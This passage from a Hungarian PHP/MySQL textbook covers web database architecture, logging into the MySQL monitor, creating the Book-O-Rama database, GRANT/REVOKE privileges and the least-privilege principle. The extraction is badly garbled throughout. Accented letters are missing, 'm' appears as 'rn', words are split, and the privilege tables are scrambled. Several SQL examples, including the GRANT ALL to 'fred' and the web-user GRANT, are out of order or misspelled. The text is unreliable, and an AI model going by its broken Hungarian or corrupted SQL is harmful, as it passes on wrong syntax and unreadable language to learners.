Bngsz

l ,.l
valasz

k rs

Webes kiszolgl

8.8 bra: A bngsz s a webes kiszolgl kztti kliens-szerver kapcsolat kommunikcit ignyel. A knyv olvassa sorn fejlesztend, webes adatbzist hasznl alkalmazs a 8.9 brn lthat ltalnos szerkezethez hason lt kvet. E srrukrra nagy rsze minden bizonnyal mr ismers szmunkra.

Bngsz

l ,.l
.

Webes kiszolgl

'

l l
5 ..

PHP

motor

J. ,.l
4

MySQL kiszolgl

8.9 bra: Az alapvet webes adatbzis-architektra a bngszbl, a webes kiszolglbl,

a parancsfjlmotorbl

(PHP) s az adatbzis-kiszolglbl ll.

Egy tipikus webes l.

2. 3.

adarbzis-tranzakci az albbi szakaszokbl ll (a szmozsr a 8.9 brn is megralljuk): A felhasznl bngszje HTTP krst intz egy adott weboldalhoz. Pldul HTML rlap segtsgvel rke res a Book-O-Rama adatbzisban a Laura Thomsan ltal rt knyvekre. A keressi eredmnyek lapjnak neve eredmenyek. p hp. A webes kiszolgl megkapja az eredmenyek. php-re vonatkoz krsr, visszakeresi a fjlt, majd feldolgozs clj bl tadja a PHP motornak. A PHP motor elkezdi vizsglni a kdot, amely az adatbzishoz csatlakozsta s a lekrdezs vgrehajtsra (a kny vek keressre) irnyul parancsot tartalmaz. A PHP megnyitja a kapcsolator a MySQL kiszolglhoz, s elkldi a megfelel lekrdezst.

148

8. fejezet

4. 5. 6.

A MySQL kiszolgl megkapja az adatbzis-lekrdezst, feldolgozza, s visszakldi az eredmnyeket - a knyvek listjt - a PHP motornak. A PHP motor befejezi a kd futtatst, ami ltalban a lekrdezs eredmnyeinek HTML-beli formzst is mag ban foglalja. Ezt kveten az eredmnyl kapott HTML-t visszakldi a webes kiszolglnak. A webes kiszolgl visszaadja a HTML-t a bngsznek, ahol a felhasznl lthatja a krt knyvek listjt.

A folyamat alapveten megegyezik akr szkriptfuttat krnyezetet, akr adatbzis-kiszolglt hasznlunk. A webes ki szolgl szoftvere, a PHP motor s az adatbzisszoftver gyakran ugyanazon a gpen fut. Mindazonltal az is legalbb ennyire elfogadott, hogy az adatbzis-kiszolglt msik gpen futtassuk Ennek oka a biztonsg, a nagyobb kapacits vagy a terhels megosztsa lehet. Fejlesztsi szempontbl ugyangy kell dolgozni mindkt megkzeltssel, m az utbbi jelents elnyket knlhat a teljestmny tern. Ahogy alkalmazsaink mrete s bonyolultsga nvekszik, elkezdjk majd PHP alkalmazsainkat rtegekre bontani: jellem zen egy, a MySQL-hez kapcsold adatbzisrtegre; egy, az alkalmazs magjt tartalmaz, az zleti logikt kvet rtegre; illetve a HTML kimenetet kezel, megjelent rtegre. A 8.9 brn lthat alapszerkezet azonban ekkor is rvnyben marad, csupn mlyebb struktrt adunk a PHP rszhez.

Tovbbi olvasnival
A fejezetben a relcis adatbzis tervezshez kaptunk alapszint irnymutatst. Ha szerernnk jobban elmlyedni a relcis adatbzisok mgtt ll elmletben, olvassuk el olyan relcis guruk knyveit, mint pldul C. J. Date! Nem rt tudni, hogy az ezekben a kiadvnyokban olvashat anyag meglehetsen elmleti jelleg, s nem szksgszeren lesz azonnal relevns az zleti cl webfejlesztk szmra. Egy dagos webes adatbzis jellemzen nem ennyire sszetett.

Hogyan tovbb:
A kvetkez fejezetben elkezdjk ltrehozni MySQL adatbzisunkat. Elszr megtanuljuk, hogyan lltsunk be interneten keresztl elrhet MySQL adatbzist, hogyan futtassunk rajta lekrdezseket, majd hogyan tegyk meg ugyanezt PHP-bl.

9
Webes adatbzis ltrehozsa
Az elrtnk ll fejezerbl megrudharjuk, hogyan lltsunk be weboldalon hasznlni kvnt MySQL adatbzist. A fbb tma krk:

Adatbzis ltrehozsa Felhasznlk s jogosultsgok belltsa A jogosultsgi rendszer megismerse Adarbzistblk ltrehozsa Indexek ltrehozsa Oszloptpusok kivlasztsa MySQL-ben

Az elzekben megismert, Book-O-Rama online knyvesbolt alkalmazst folytatva haladunk vgig a fejezeten. Emlkezte rsl lljon itt a Book-O-Rama alkalmazs smja:
Vasarlok(VasarloiD, Nev, Lakcirn, Varas) Osszeg, Daturn) Megrendelesek(RendelesiD, Konyvek(ISBN, Szerzo, Cirn, VasarloiD, Ar) ISBN, Darabszarn)

Rendelesi_tetelek(RendelesiD, Konyv_Ertekelesek(ISBN,

Ertekelesek)

Az elz fejezerbl emlkezhetnk r, hogy az elsdleges kulcsokar alhzssal, az idegen kulcsokat pedig dlt betvel jelljk. Az ebben a rszben szerepl tmakrk feldolgozshoz MySQL-hozzfrs szksges. Ahhoz, hogy a MySQL rendelkez snkre lljon, teleptennk kell webes kiszolglnkra. Ez a lps a kvetkezket foglalja magba:

A fjlok installlsa Felhasznl belltsa a MySQL futtatsra Elrsi tvonal belltsa Szksg esern
arnysql_install_db

futtatsa

Adminiszrrtori (root) jelsz belltsa A nvtelen felhasznl rrlse s az adatbzis tesztelse A MySQL kiszolgl els indrsa s automatikus futsnak bellrsa

Ha mindezzel megvagyunk, tovbblphetnk s -olvashatjuk a fejezetet. Ha a fenti lpsek nem magrl rterdk sz munkra, A PHP s
a

MySQL teleptse cm Fggelkben segitsger tallunk vgrehajtsukra.

Ha a fejezet brmilyen pontjnl problmba tkznk, knnyen lehet, hogy MySQL rendszernk nem megfelelen lett belltva. Ebben az esetben ellenrizzk a fenti !istc, s tekintsk t a Fggelket, hogy meggyzdjnk belltsaink helyess grl! Elkpzelhet, hogy olyan gpen frnk hozz a MySQL-hez, amit nem mi kezelnk (nem mi vagyunk a rendszergazdi) webes hoszring szolgltars vagy munkahelyi gp hasznlata esetn ez igen valszn. Ebben az esetben a pldk kvershez vagy sajt adatbzisunk ltrehozshoz meg kell krni a rendszergazdt, hogy hozzon ltre szmunkra egy felhasznlt s egy adatbzist, majd kzlje velnk a vlasztott felhasznli nevet, jelszr s adarbzisnever. Ekkor a fejezet azon rszeit, amelyek a felhasznlk s adarbzisok belltst mutarjk be, akr t is ugorhatjuk. De ez esetben is rdemes lehet elolvasni ezeker
az

oldalakat, mert az gy megszerzett informci birtokban pontosabban el rudjuk magyarzni rendszergazdnknak, hogy A fejezerben szerepl pldkat a knyv rsa idejn legfrissebb, 5.1-es verzij MySQL-lel ptettk fel s teszreltk. Egyes

mire van szksgnk. korbbi verzik kevesebb funkcival rendelkeznek. rdemes a knyv olvassa idejn a legfrissebb, stabilan mkd vltozatot telepteni vagy arra frissteni. A MySQL aktulis verzija a http://www.mysql.com oldalrl tlthet le. Knyvnkben a MySQL manitornak nevezett parancssori kliens hasznlarval rjk el a MySQL-r. Ez a kliens a MySQL brmilyen teleptse utn rendelkezsre ll. Termszetesen ms kliensek is megfelelnek a clnak. Ha a MySQL-t pldul hasztolt webes krnyezetben hasznljuk, a rendszergazdk jellemzen a phpMy Admin bngszalap felletet knljk fel

150

9. fejezet

szmunkra. Ms grafikus kezelfellet kliensek nyilvnvalan az itt lertaktl kiss eltr eljrsokkal dolgoznak, m a fejezet utastsait kvetve viszonylag knnyedn elboldogulhatunk azokon a felleteken is.

A MySQL monitor hasznlata


A mostani s a kvetkez fejezet MySQL-es pldiban rninden parancs pontosvesszvel (;) r vget. A pontosvessz utastja a MySQL-t a parancs vgrehajtsra. Ha lefelejtjk, semmi sem fog trtnni. A kezd felhasznlk ezt a hibt kvetik el leg gyakrabban. A pontosvessz elmaradsnak eredmnyeknt j sorokat kezdhetnk a parancsokon bell. Knyvnkben azrt ltnk ezzel a lehetsggel, mert knnyebben olvashatv teszi a pldkat. Jl lthat, hogy mikor hasznltuk, rnivel a MySQL folytats jelet hasznl, amely a kvetkezkppen nz ki:
rnysql> grant select ->

Ez a szimblum azt jelenti, hogy a MySQL tovbbi inputot vr. Ha a pontosvessz begpelse nlkl tjk le az Enter bil lentyt, a fenti kt karaktert ltjuk megjelenni. rdemes megjegyezni azt is, hogy az SQL utastsok nem tesznek klnbsget a kis- s nagybetk kzte-nem gy az adatbzisok s a tblk nevei (errl ksbb mg bvebben is olvashatunk majd).

Bejelentkezs MySQLbe
A MySQL-be trtn bejelentkezshez menjnk szmtgpnk parancssori kezelfelletre, s gpeljk be a kvetkezket:
rnysql -h hostnev -u felhasznaloi_nev -p

A rnysql parancs meghvja a MySQL monitort, ami a bennnket a MySQL szerverhez csatlakoztat parancssori kliens. A -h hatrozza meg a gpet, amelyhez csatlakozni kvnunk- vagyis amelyen a MySQL kiszolgl fut. Ha ugyanazon a gpen adjuk ki ezt a parancsot, amelyiken a MySQL szerver tallhat, ez a kapcsol s a hostnev paramter kihagyhat. Ellenkez esetben a hostnev paramtere helyett annak a gpnek a nevt kell megadnunk, amelyen a MySQL kiszolgl fut. A -u kapcsol hatrozza meg a felhasznli nevet, amellyel csatlakozni szeremnk. Ha nem adjuk meg, az opercis rend szerbe bejelentkezshez hasznlt felhasznli nv lesz az alaprtelmezett. Amennyiben sajt gpnkre vagy kiszolglnkra teleptettk a MySQL-t, root-knt (adminisztrtorknt) kell bejelent keznnk, majd ltrehoznunk az ebben a fejezetben hasznland adatbzist. Els telepts esetn a root lesz az egyetlen felhasznl, amelyikkel dolgozhatunk. Ms rendszergazda ltal kezelt gpen fut MySQL esetn a rendszergazda ltal adott felhasznli nevet kell hasznlnunk. A -p kapcsol kzli a kiszolglval, hogy jelsz hasznlatval kvnunk csatlakozni. Amennyiben a bejelentkezshez hasz nlt felhasznli nvhez nincsen jelsz belltva, ezt a kapcsolt kihagyhatjuk. Ha root-knt jelentkeznk be, s nem lltottunk be jelszt ehhez a felhasznlhoz, nyomatkosan javasoljuk, hogy most azonnal lapozzunk a Fggelkhez l Rendszernk root jelsz nlkl egyltaln nem biztonsgos. Nem szksges a jelszt ebben a sorban megadnunk, a MySQL kiszolgl gyis krni fogja. Tulajdonkppen jobb is, ha nem itt adjuk meg, mivel a parancssorban bevitt jelsz egyszer szvegknt jelenik meg a kpernyn, gy ms felhasznlk is egyszeren leolvashatjk azt. Az elz parancs utn az albbihoz hasonl vlaszt kell kapnunk:
Enter password:

(Ha nem mkdik a parancs, ellenrizzk, hogy a MySQL kiszolgl fut-e, s a rnysql parancs az elrsi tvonalban van-e valahol!) Ekkor adjuk meg jelszavunkat! Ha rninden jl megy, az albbihoz hasonl vlaszt kell lmunk:
Welcome to the MySQL rnonitor. Cornrnands end with ; Your MySQL connection id is l to server version: Community Server or \g. 5.1.25-rc-cornrnunity MySQL

(GPL)
Type '\c' to clear the buffer.

Type 'help;' or '\h' for help. rnysql>

Ha gpnkn nem a fentihez hasonl vlasz jelenik meg, ellenrizzk, hogy futtattuk-e a rnysql_install_db-t- ameny

nyiben arra szksg volt-, belltottuk s helyesen gpeltk-e be a root jelszt! Ha nem sajt gpnkn fut a MySQL, gy zdjnk meg rla, hogy a megfelel jelszt adruk-e meg! Ekkor a MySQL parancssornl kell len nnk, kszen llva az adatbzis ltrehozsra. Ha sajt gpet hasznlunk, kvessk a kvetkez rszben lertakat! Ha ms gpnl dolgozunk, az albbi lpseket mr elvgeztk szmunkra, gy akr A

megfelel

Webes adatbzis ltrehozsa

151

adatbzis hasznlata cm rszre is ugorhatunk. rdemes lehet ugyanakkor a kztes rszeket is tolvasni, br az azokban meg
adott parancsokat nem lesznk kpesek futtatni. (Vagy legalbbis nem lenne szabad, hogy futtatni tudjuk!)

Adatbzisok s felhasznlk ltrehozsa


A MySQL adatbzisrendszer szmtalan klnbz adatbzist kpes tmogatni. Alkalmazsonknt jellemzen egy adatbzis sal fogunk dolgozni. A Book-O- Rama-s pldban az adatbzis neve Kon yvek lesz. A legknnyebb az adatbzis ltrehozsa. Gpeljk be a MySQL parancssorba a kvetkezt: mysql> CREATE DATABASE adatbazis neve; _ Az adatbazis_neve helyre a ltrehozni kvnt adatbzis nevt kell rnunk. A Book-O-Rama-s plda megkezdshez hozzuk ltre a Konyvek nev adatbzist! Ennyi. Az albbihoz hasonl vlaszt kell ltnunk (a vgrehajtsi id minden bizony nyal ettl eltr lesz): Query OK, l row affected (0.0 sec) Ez azt jelenti, hogy minden rendben ment. Ha nem ezt a vlaszt kapjuk, ellenrizzk, hogy bertuk-e a sor vgre a pontos vesszt! Ez kzli ugyanis a MySQL-lel, hogy kszen vagyunk, s kvetkezik, hogy vgrehajtsa a parancsot.

Felhasznlk s jogosultsgok belltsa


Egy MySQL rendszer sok felhasznlval rendelkezhet. A root felhasznl biztonsgi okokbl jellemzen csak rendszer ga zdai feladatokat lt el. A rendszerrel dolgoz minden egyes felhasznl szmra felhasznli nevet s jelszt kell belltani. Nem szksges, hogy ezek a MySQL-en kivli felhasznli nevekkel s jelszavakkal (pldul a unixos vagy NT-s felhasznli nevekkel s jelszavakkal) egyezk legyenek. Ugyanez rvnyes a root esetben is. rdemes klnbz jelszavakat belltani a rendszerhez s a MySQL-hez, s fokozottan rvnyes ez a root jelszavra. Ugyan nem ktelez a felhasznlkhoz jelszt belltani, mgis ersen ajnlott, hogy minden, ltalunk ltrehozott felhasz nl esetben megtegyk ezt. Webes adatbzis belltsa cljbl rdemes webes alkalmazsonknt legalbb egy felhasznlt is ltrehozni. Felmerlhet bennnk a krds, hogy mi rtelme van ennek? A vlasz a jogosultsgokban rejlik.

A MySQL jogosultsgi rendszernek bemutatsa


A MySQL egyik legnagyszerbb jellemzje, hogy kifinomult jogosuJtsgi rendszert tmogat. A jogosultsg (privilege) adott mvelet adott objektumon trtn vgrehajtsnak lehetsge, s mindig egy adott felhasznlhoz van trsrva. A dolog a fjl kezelsi jogosultsgokhoz hasonl. Amikor ltrehozunk a MySQL-en bell egy felhasznlt, jogosultsgokkal felruhzva hat rozzuk meg, hogy mit lehet s mit nem lehet megtennie a rendszerben.

A legkisebb jogosultsg elve


A legkisebb jogosultsg elvt kvetve brmilyen szmtgpes rendszer biztonsga javthat. Alapvet, mgis rendkvl fontos elv, amit gyakran hagynak figyelmen kvl. A kvetkezkppen szl: Minden felhasznlnak (vagy folyamatnak) a hozzrendelt feladat elvgzshez szksges legalacsonyabb szint jogosult sggal kell rendelkeznie. MySQL-ben ez ppen gy igaz, mint brhol mshol. Ahhoz pldul, hogy lekrdezseket futtassunk az internetrl, nem sziiksgesek olyan jogosultsgok, mint amilyenekkel adminisztrtorknt a root rendelkezik. Ezrt egy msik felhasznlt kell ltrehoznunk, aki csak az ltalunk imnt ltrehozott adatbzishoz val hozzfrshez szksges jogosultsgokkal br.

Felhasznl belltsa: a GRANT parancs


A GRANT s REVOKE paranccsal jogosultsgokat adhatunk a MySQL-felhasznlknak, illerve megfoszthatjuk ket azoktl az albbi ngy jogosuJtsgi szinten: Globlis (Global)

Adarbzis (Database) Tbla (Table) Oszlop (Column)

Rvidesen ltni fogjuk, hogyan hasznljuk ezeket. A GRANT parancs felhasznlkat hoz ltre, s jogosultsgokat ad nekik. ltalnos formja a kvetkez:

152

9. fejezet

GRANT jogosultsagok ON elem

[oszlopok) [IDENTIFIED 'jelszo'] )

TO felhasznaloi nev [REQUIRE ssl_opciok) [WITH [GRANT OPTION l

BY

korlatozo opciok]

A szgleres zrjelben lv mellkgak (clause) opcionlisak. Szmos helyrzt (placeholder) tallunk a fenti szintaktik ban. Az els- a jogosul tsagok- a jogosultsgok vesszvel elvlasztott listjt jelli. A MySQL jogosultsgok meghatro zott kszleteivel rendelkezik, ezeket a kvetkez rszben mutatjuk be. Az os z lopok helyrz opcionlis. Arra val, hogy oszloponknt hatrozzunk meg jogosultsgokat. Hasznlhatunk egy vagy tbb oszlopnevet, utbbi esetn vesszvel kell elvlasztani azokat. Az elem azt az adatbzist vagy tblt jelli, amelyre az j jogosultsgok vonatkoznak. Ha elem-knt a*.* karaktereket acljuk meg. az sszes adatbzisra megaelj uk a jogosultsgokat. Ezt globlis jogosultsg kiosztsnak nevezzk. Ha nem egy konkrt adatbzist hasznlunk, akkor ugyanezt egy* megadsval is megtehetjk. Ennl gyakrabban fordul el, hogy a jo gosultsgokat egy adatbzis nnden tbljra (adatbazis_neve.*), egyetlen tblra (adatbazis _neve. tabla_ neve ) vagy egyes oszlopokra (adatbazis _neve. tabla _neve, majd az oszlopok felsorolsa az oszlopok helyrzben J adjuk meg. Ezek a pldk a msik hrom jogosultsgi szintet mutatjk:

adatbzis, tbla, illetve oszlop. Ha adott adatbzist hasznlunk

e parancs kiadsakor, a tabla_neve nmagban az aktulis adatbzis egy tbljaknt lesz rtelmezve. A felhasznaloi_nev az, amivel a felhasznlnak a MySQL-be be kell jelentkeznie. Ne feledjk, hogy ez a rendszerbe val bejelentkezshez hasznlt nvtl eltr is lehet! MySQL-ben a felhas znaloi_nev hostnevet is tartalmazhat. Ezzel megklnbztethetjk mondjuk a laura (amit a MySQL laura@ localhost-knt rtelmez) s a laura@valahol. com felhasznli nevet. Ez igen hasznos tud lenni, mert a klnbz domainekbl rkez felhasznlknak gyakran ugyanaz a ne vk. A biztonsgot is nveli, mivel meghatrozhatjuk, honnan csatlakozhatnak a felhasznlk, s mely tblkat vagy adatbzi sokat rhetik el az adott helyrl. A je lszo helyre az a karaktersor kerl, amivel a felhasznlt be kvnjuk lptetni. A jelszavak kivlaszrsra a szoksos szablyok vonatkoznak. A biztonsggal ksbb rszleresebben is foglalkozunk, egyelre elg annyi, hogy a jelsz ne legyen knnyen kitallhat! Vagyis ne legyen sztrban elfordul sz, s ne egyezzen meg a felhasznli nvvel! Idelis esetben kis s nagybetk s nem alfabetikus karakterek kombincijbl ll. A REQUIRE mellkgban meghatrozhatjuk, hogy a felhasznlnak Secure Sockets Layer (SSL) protokollrtegen keresztl kell csatlakoznia, illetve tovbbi SSL-belltsokat adharunk meg. Az SSL-en keresztli MySQL-hez csatlakozsrl a MySQL kziknyvben tallunk tovbbi informcit. A WITH GRANT OPTION bellirssal megengedhetjk a felhasznlnak, hogy msoknak kioszthassa sajt jogosultsgait. A WITH mellkgat az albbiakkal is megadhatjuk:
MAX_QUERIES PER_HOUR n

vagy
MAX UPDATES PER HOUR n

vagy
MAX CONNECTIONS PER HOUR n

Ezekkel a mellkgakkal a felhasznl ltal rnknt vgezhet lekrdezsek, frisstsek vagy kapcsoldsok szmt korl tozhatjuk. Megosztott rendszerek esetn kivlan alkalmasak az egyes felhasznlk ltal kivltott terhels korltozsra. A jogosultsgok trolsa a mysql nev adatbzis t rendszertbljban trtnik. Ezek neve mysql. user, mysql. db,
mysql. host, mysql. tables_pr iv s mysql. columns _priv A GRANT parancs alkalmazsa helyett megreherjk, hogy .

kzvetlenl ezeket a tblkat mdosrjuk. Mkdsket, illetve azt, hogy hogyan lehet kzvetlenl ezeket mdostani, a Hala

d MySQL-adrninisztrci cm

12. leckben tekintjk t.

Jogosultsgok tpusai s szintjei


MySQL-ben a jogosultsgok hrom alappusa ltezik: az ltalnos felhasznlk szmra Icioszthat jogosultsgok, a rendszer gazdk szmra megfelel jogosultsgok, illetve nhny klnleges jogosultsg. Brmelyik felhasznlhoz hozzrendelhetjk ezen jogosultsgok brmelyikt, m a legkisebb jogosultsg elvnek megfelelen rdemes a rendszergazda rpus jogosultsgo

kat a rendszergazdk szmra fenntartani. Csak azokra az adatbzisokra s tblkra adjunk a felhasznlk szmra jogosultsgokat, amelyeket tnylegesen hasznlniuk kell! A rendszergazdn kvl senkinek nem szabad hozzfrst adni a mysql adatbzishoz, hiszen ez az, ahol a felhasznl kat, a jelszavakat stb. troljuk. (A 12. fejezetben alaposabban is megvizsgljuk ezt az adatbzist.)

Webes adatbzis ltrehozsa

153

Az lcalnos felhasznlk jogosultsgai kzvetlenl az SQL parancsok adott tpusaira vonatkoznak, illetve arra, hogy a fel hasznl futtathatja-e ezeket. A kvetkez fejezetben rszletesen ttekintjk ezeket az SQL parancsokat. Egyelre csupn mkdsk elmleti lerst nzzk t. A 9.1 tblzatban az alapvet felhasznli jogosultsgokat lthatjuk. A "Mire rvnyest oszlopban talljuk azokat az objektumokat, amelyekre az ilyen tpus jogosultsgok kioszthatk.

9.1 tblzat: Felhasznli jogosultsgok


Jogosultsg
SE LECT

Mire rvnyes

Lers

tblk, oszlopok tblk, oszlopok tblk, oszlopok tblk tblk tblk

Megengedi a felhasznlknak, hogy sorokat (rekordokat) vlasszanak ki tblk bl. Megengedi a felhasznlknak, hogy j sorokat szrjanak be a tblkba. Megengedi a felhasznlknak, hogy meglv tblasorokban lv rtkeket m dostsanak. Megengedi a felhasznlknak meglv tblasorok trlst. Megengedi a felhasznlknak, hogy adott tblkra indexeket hozzanak ltre s megszntessk azokat. Megengedi a felhasznlknak, hogy pldul oszlopok hozzadsval, oszlopok vagy tblk tnevezsvel s az oszlopok adartpusnak a megvltoztatsval meglv tblk szerkezett mdostsk.

INSERT UPDATE

DE LETE INDEX

ALTER

CREATE

adatbzisok, tblk

Megengedi a felhasznlknak j adatbzisok vagy tblk ltrehozst. Ha konk rt adatbzis vagy tbla meg lett hatrozva a
GRANT

utastsban, akkor az adott

nev adatbzis vagy tbla csak akkor hozhat ltre, ha mg nem ltezik. Ellenke z esetben elszr trlni kell, hogy ugyanazon a nven ltre lehessen hozni.
DROP

adatbzisok, tblk

Megengedi a felhasznlknak, hogy adatbzisokat vagy tblkat trljenek.

A norml felhasznlk jogosultsgainak nagy rsze a rendszerbiztonsg szempontjbl viszonylag rtalmatlan. Az ALTER jogosultsg ugyan a tblzatok tnevezsn keresztl alkalmas lehet a jogosultsgi rendszer megkerlsre, m a felhasznlk szles krnek szksge van erre a jogosultsgra. A biztonsg s a hasznlhatsg kzrt minden esetben tvlts ll fenn. Az
ALTE R

esetben nll dntst kell hoznunk, de rdemes tudni, hogy a felhasznlk gyakran megkapjk ezt a jogosultsgot.
RE FERENCES

A 9.1 tblban felsorolt jogosultsgok mellerc ltezik mg a nincsenek hasznlatban. A OPTION-nel trtnik.
GRANT

s az EXECUTE jogosultsg, m ezek jelenleg


WITH GRANT

jogosultsg kiosztsa pedig a jogosul tsagok lista helyere inkbb a

A 9.2 tblzat a rendszergazdk (adminisztrtorok) ltal ignyelt jogosultsgokat tartalmazza.

9.2 tblzat: Rendszergazda i jogosultsgok


Jogosultsg
CREATE T ABLES FILE LOCK TABLES PROCESS TEMPORARY

Lers

Megengedi a rendszergazdnak a CREATE nlatt.

TABLE

utastsban a

TEMPORARY

kulcssz hasz

Megengedi az adatok fjlbl tblba s tblbl fjlba olvasst. Megengedi a


L OCK TABLES

utasts explicit hasznlatr.

Megengedi a rendszergazdnak, hogy brmely felhasznlhoz tartoz szerverfolyamatokat megtekintsen. Megengedi a rendszergazdnak a jogosultsgtblk jratltst s a jogosultsgok, hostok, naplk s tblk frisstst. Replikcik hasznlatakor a master s a slave szerver esetn is megengedi a SHOW hasznlatr. A replikcival a 12. fejezetben foglalkozunk majd.
STATUS

RE LOAD

REPLICATION CLIE NT

REPLICATION S LAVE

Megengedi a repiicaeion slave kiszolglknak, hogy master kiszolglhoz csatlakozzanak. A replikcival a 12. fejezetben foglalkozunk majd. Megengedi, hogy a SHOW
DATAB ASES

SHOW DATAB ASES

utastssal az sszes adatbzis listjt megtekintsk.

E jogosultsg nlkl a felhasznlk csak azokat az adatbzisokat lthatjk, amelyekre msmi lyen jogosultsggal rendelkeznek.

154

9. fejezet

Jogosultsg
SHUTDOWN SUPER

Lers Megengedi az adminisztrtornak a MySQL lelltst. Megengedi a rendszergazdnak, hogy brmely felhasznl folyamatait lelltsa.

A fenti jogosultsgok nem rendszergazdk szmra is kioszthatk, m fokozott vatossggal rdemes eljrni, amikor gy tesznk. A FILE jogosultsg ebbl a szempontbl kicsit eltr. Azrt lehet hasznos a felhasznlknak, mert az adatok fjlbl val betltsvel rengeteg idt megsprolhatnak, mert nem kell azokat jra bevinnik az adatbzisba. A fjibetltssel azonban a MySQL kiszolgl ltal lthat brmilyen fjl betlthet, kztk ms felhasznlkhoz tartoz adatbzisok, st akr a jel szfjlok is. Legynk elvigyzatosak, amikor megadjuk ezt a jogosultsgot, vagy ajnljuk fel a felhasznlnak az adatok betltst! Kt klnleges jogosultsg is ltezik, ezeket a 9.3 tblzat mutatja. 93 tbla: Klnleges jogosultsgok Jogosultsg
ALL

Lers
A

9.1 s a 9.2 tblzatban felsorolt sszes jogosultsgot megadja. Az ALL helyett rhatunk ALL is.

PRIVILEGES-t USAGE

Nem jogosultsgot ad, hanem felhasznlt hoz ltre, s megengedi, hogy bejelentkezzen, m a felhasznl ezen tlmenen semmire nem jogosult.

A REVOKE parancs
A GRANT ellentre a REVOKE. Hasznlatval jogosultsgokat vonhatunk meg a felhasznlhL Szintaktikjban a GRANT hez hasonl:
REVOKE jogosultsagok ON elem FROM felhasznaloi nev [(oszlopok})

A WITH GRANT OPTI ON mellkg hasznlata esetn az albbival vonhatjuk vissza az ott kiosztott jogosultsgot (a tbbi vel egyetemben):
REVOKE All PRIVILEGES, FROM felhasznaloi nev GRANT

Pldk a GRANT s a REVOKE hasznlatra


Adminisztrtori felhasznl belltshoz gpeljk be az albbiakat:
mysql>

GRANT ALL 'mnbl23'

-> ON * -> TO fred IDENTIFIED BY


->

WITH GRANT OPTION;

Ez a parancs rninden adatbzisra vonatkozan megadja az sszes jogosultsgot a Fred nev, az mnb12 3 jelszval rendelke z felhasznlnak, s megengedi szmra a jogosultsgok tovbbadst. J esllyel nem szeremnk, hogy legyen egy ilyen felhasznl a rendszernkben, ezrt rajta, vonjuk vissza:
mysql>

REVOKE ALL PRIVILEGES,

GRANT

-> FROM fred; Most mr ltrehozharunk egy ltalnos felhasznlt, aki nem rendelkezik jogosultsgokkal:
mysql>

GRANT USAGE

-> ON konyvek.* -> TO sally IDENTIFIED BY 'magic123'; Miutn beszltnk Sallyvel, s megrudruk, mit szereme csinlni, Icioszthatjuk neki a megfelel jogosultsgokat:

mysql>

GRANT SELECT, INSERT, UPDATE,

DELETE,

INDEX,

ALTER, CREATE,

DROP

-> ON konyvek.* -> TO sally; Figyeljk meg, hogy a jogosultsgok kiosztshoz nem szksges megadnunk Sal!y jelszavt l

Webes adarbzis ltrehozsa

155

Ha gy ltjuk, hogy Sal!y valamiben mesterkedik az adatbzisban, dnthetnk gy, hogy cskkentjk jogosultsgainak a krt:
mysql> -> ->

REVOKE ALTER,

CREATE,

DROP

ON konyvek. * FROM sally; REVOKE ALL

Ksbb, amikor mr egyltaln nincs mirt hasznlnia az adatbzist, teljesen visszavonhatjuk jogosultsgait:
mysql> -> ->

ON konyvek . * FROM sally;

Webes felhasznl belltsa


PHP kdjainkhoz ltre kell hoznunk egy felhasznlt, aki csatlakozni kpes a MySQL-hez. Itt is rdemes a legalacsonyabb jogosultsg elvt kvetni: rnire kell, hogy kdjaink kpesek legyenek? Az esetek tbbsgben csak a SELECT, INSERT, DELETE s UPDATE lekrdezst kell futtatniuk. A kvetkezkppen llt

harjuk be ezeket a jogosultsgokat:


mysql>
-

GRANT SELECT, INSERT, DELETE, UPDATE


BY

>

ON konyvek . * 'bookorama123';

->TO beokorama IDENTIFIED

Biztonsgi okokbl termszetesen az itt lthatnl ersebb jelszt kell vlasztani. Webhoszting-szolgltats esetn ltalban a tbbi felhasznli jogosultsgot is megkapjuk a szolgltats ltal szmunkra lt rehozott adatbzison. Jellernzen ugyanazt a felhasznli nevet s jelszt kapjuk parancssori hasznlatra (tblk ltrehozsra srb.) s webes szkriptcsatlakozshoz (az adatbzis lekrdezshezJ. Csak minimlisan cskkenti a biztonsgot, ha rnindkett

hz ugyanazt a felhasznli nv-jelsz prost


rendelkez felhasznlt:
mysql>
-

hasznljuk. A kvetkez utastssal llthatunk be egy ilyen szint jogosultsggal

GRANT SELECT, INSERT, UPDATE, DELETE, INDEX, ALTER, CREATE, DROP


BY

>

ON konyvek . * 'bookoramal23';

->TO beokorama IDENTIFIED

Hajr, hozzunk ltre egy ilyen felhasznlt, mert a kvetkez rszben szksgnk lesz r! A qui t begpelsvel lphetnk ki a MySQL monitorbl. Jelentkezznk vissza webes felhasznlknt, hogy meggyzd hessnk arrl, rninden rendben mkdik! Ha vgrehajtdik az ltalunk kiadott GRANT utasts, de bejelentkezsi ksrletn ket a kiszolgl elutastja, ennek ltalban az az oka, hogy a teleptsi folyamat rszeknt nem trltk a nvtelen felhaszn lkat. Lpjnk vissza root-knt, m:Yd lapozzunk a Fggelkhez, amelybl megtudhatjuk, hogyan trlhetjk ki ezeket! Ezt kveten mr minden bizonnyal be tudunk lpni webes felhasznlknt is.

A megfelel

adatbzis hasznlata

Ha eljutottunk idig, akkor be kellett lpnnk egy, a mintakd tesztelsre kszen ll, felhasznli szint MySQL felhaszn li fikba, amit vagy s:Yt magunk hoztunk ltre, vagy a webes kiszolgl rendszergazdja lltott be szmunkra. Bejelentkezskor az els lps a hasznlni kvnt adatbzis meghatrozsa. Az albbiakat kell ehhez begpelni:
mysql>

USE adatbazis_neve;

ahol az adatbaz is_neve az adatbzis nevt jelli. A use parancsra nem felttlenl van szksg, mivel belpskor is meghatrozhatjuk az adatbzist. A kvetkezket kell ehhez bernunk:
mysql -D adatbazis_neve -h hostnev
-u

felhasznaloi_nev

-p

Pldnkban a konyvek adarbzist kvnjuk hasznlni:


mysql>

USE konyvek;

A parancs begpelse utn a MySQL az albbihoz hasonl vlaszt ad:


Database changed

Ha a munka megkezdse eltt nem vlasztjuk ki az adatbzist, a MySQL hibazenetet ad, pldul az albbihoz hasonlt:
ERROR 1046 (3D000): No Database Selected

156

9. fejezet

Adatbzistblk ltrehozsa
Az adatbzis bellitsnak kvetkez lpse a tblk ltrehozsa. A ltalnos alakja a kvetkez:
CREATE TABLE tabla_neve(oszlopok) CREATE TABLE

SQL paranccsal tehetjk ezt meg. Ennek

Megjegyzs: J,

